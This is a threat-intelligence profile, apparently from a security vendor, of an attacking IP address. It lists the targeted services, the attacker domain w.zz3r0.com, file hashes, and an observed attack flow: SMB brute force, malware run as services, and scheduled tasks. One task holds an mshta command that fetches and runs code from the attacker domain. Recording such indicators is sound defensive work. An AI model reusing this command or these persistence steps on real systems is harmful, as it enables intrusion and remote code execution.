Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 171.236.163.62Malicious

IP Address: 171.236.163.62Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB Share Connect Access Suspicious Domain Service Deletion Download File SMB Service Start Access Share File Operation By CMD DNS Query Scheduled Task Creation Service Stop Service Creation Successful SMB Login CMD Execute from Share SMB Brute Force

Associated Attack Servers

w.zz3r0.com

Basic Information

IP Address

171.236.163.62

Domain

-

ISP

-

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-10-03

Last seen in Akamai Guardicore Segmentation

2023-10-05

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: admin - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\uYkqSHvI.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\uykqshvi.exe as a service named SngY under service group None

Service Creation Service Start

uykqshvi.exe was executed from the remote share \\server-backup\c$

Execute from Share

C:\windows\temp\svchost.exe was downloaded

Download File

kirhkfjf.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\kirhkfjf.exe as a service named LVBh under service group None

Service Creation Service Start

C:\windows\temp\tmp.vbs was downloaded

Download File

A user logged in using SMB with the following username: admin - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

SMB Brute Force Successful SMB Login

Service LVBh was stopped

Service Stop

A user logged in using SMB from NULL with the following username: admin - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The command line c:\windows\iWrrxOQr.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

DNS Query Access Suspicious Domain

The command line c:\windows\ODcIQYS.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Connection was closed due to timeout

Associated Files

C:\windows\temp\svchost.exe

SHA256: 16ae615437cb8083eb078015412ebb993004adb6fd63c2e7fbae0760c6092457

130000 bytes

C:\ABJonclx.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes